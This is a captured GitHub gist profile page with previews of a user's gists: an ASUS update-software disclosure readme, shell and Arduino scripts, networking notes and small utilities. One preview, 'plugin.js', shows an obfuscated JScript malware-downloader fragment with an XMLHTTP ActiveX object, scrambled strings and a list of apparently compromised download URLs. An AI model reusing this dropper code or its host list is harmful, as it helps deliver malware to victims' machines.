Skip to content

Instantly share code, notes, and snippets.

Avatar

Morgan Gangwere indrora

View GitHub Profile
@indrora
indrora / 00readme.md
Last active Jul 11, 2019
DeadUpdate: Kickin' it bigtime.
View 00readme.md

... my first disclosure. Man, it feels weird doing this.

update 6/6/16 I would like to stress something: I'm not saying "Don't buy an ASUS device" -- I see a lot of people who want to lambaste ASUS for this and boycott their hardware. This isn't what I want people to be doing by any stretch. Stupidly, I like the ASUS hardware I have (it's nice for the price) and I would rather see a pressure on ASUS as an OEM to stop shipping "value added software" to consumers; If you want to help Microsoft in pushing this mentality, go buy a signature machine from them. Microsoft provides support, but also only ships windows and a few select utilities that are essential to the functioning of the system (think: Radeon/Optimus and nVidia control panels) and fall heavily on the hardware makers (ATI, nVidia, Intel) to provide support for the harware.

Consider an ASUS device all you want. Start putting pressure on Microsoft that consumers want bloat-free devices and start voting with your money. Microsoft's store

View plugin.js
var uuu = 0;while(uuu<999999) {uuu++;}
var ijdl = "MSXML2.XMLHTTP";
var pol = new ActiveXObject(ijdl);
var pusik = ['/', 't'+'', "", ":", 'p', 'h', 'S', 'a', "T", '', "PLKU"];
pusik[1+1] = "GETA";
pusik[2] = pusik[2].substr(0, 3);
var zaher = "httpHER";
zaher = zaher.substr(0, 4);
var x = ["boorsemsport.be/templates/yoo_aurora/less/uikit","eurostandard.ro/pics/size1","revivalnews.info/.well-known/acme-challenge/counter","ristorantemotta.com/wp-admin/css","glochemindia.com/modules/mod_roknavmenu/lib/librokmenu"];
var m = "QsW3paHVLMkIB5tARP8C2OMxIGNwUWrq9qv1Wfv2qRVPrTQE9B0bXj0EHRQzH8fPMvY5Z3KJN0tYPsAXlT9Na30pQ";
View kaitai.svg
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@indrora
indrora / disk_stats.sh
Created Jan 26, 2013
Disk stats script
View disk_stats.sh
#!/bin/bash
DISKS=('sda' 'sda2')
OUT_DIR=/srv/http/
RRD_DIR=/srv/shared/
NOW=$(date +%s)
for disk_name in ${DISKS[@]}; do
View gist:5923924
// Lower end of ASCII printable (space)
#define ASCII_PRINT_LOWER = 0x20
// replace.
char[] want_kind = "$GPXXX";
int want_idx = 0;
void loop()
{
/* stuff to keep strobing happy */
@indrora
indrora / perpetudl.sh
Created Jan 25, 2013
downloader using fifo in bash
View perpetudl.sh
#!/bin/bash
FIFOPATH="/tmp/perpetudl"
DLPATH="/home/indrora/downloads/"
function pd_help
{
echo "USAGE: $0 [OPTIONS]"
echo "Options:"
echo " -a start a download"
View eigrpnotes.txt
EIGRP := Enhanced Interior Gateway Routing Protocol
Successor to IGRP.
EIGRP uses the DUAL (Diffusing update algorythm) as opposed to a Bellman-Ford algorythm.
Metrics for EIGRP:
- Reliability (0-255, larger->better)
- Bandwidth (max banhdwidth in Kb/s) higher = better
- Delay (in n*10 uS) to destination network. smaller -> better.
@indrora
indrora / D3N9.cpp
Created Nov 11, 2012
D3N9: Demscene tribute on ChipKIT UNO32
View D3N9.cpp
/*
D3N9: Old-Skool demoscene scroller for PIC32
*/
/* Kindly ripped from IOShield_OLED_Full_Demo */
#include <IOShieldOled.h>
#define OLED IOShieldOledClass
OLED oled;
@indrora
indrora / bench.java
Created Sep 30, 2012
String lookup benchmarking in Java
View bench.java
package yellowfox.strings;
/**
*
* @author indrora
*
* This is a simple String Lookup table example.
*
* You could easily use this to generate a lookup table for a switch statement,
* especially if your table is going to never change.
@indrora
indrora / asdfhash.php
Created Sep 16, 2012
ASDFHash: Ascii hashing function
View asdfhash.php
<?php
/*
* @name: asdfhash.php
* @author: morgan ``indrora'' gangwere <indrora@earfolds.com>
*
* @license 2clause BSD
*
* Copyright (c) 2012, morgan ``indrora'' gangwere
* All rights reserved.
*
You can’t perform that action at this time.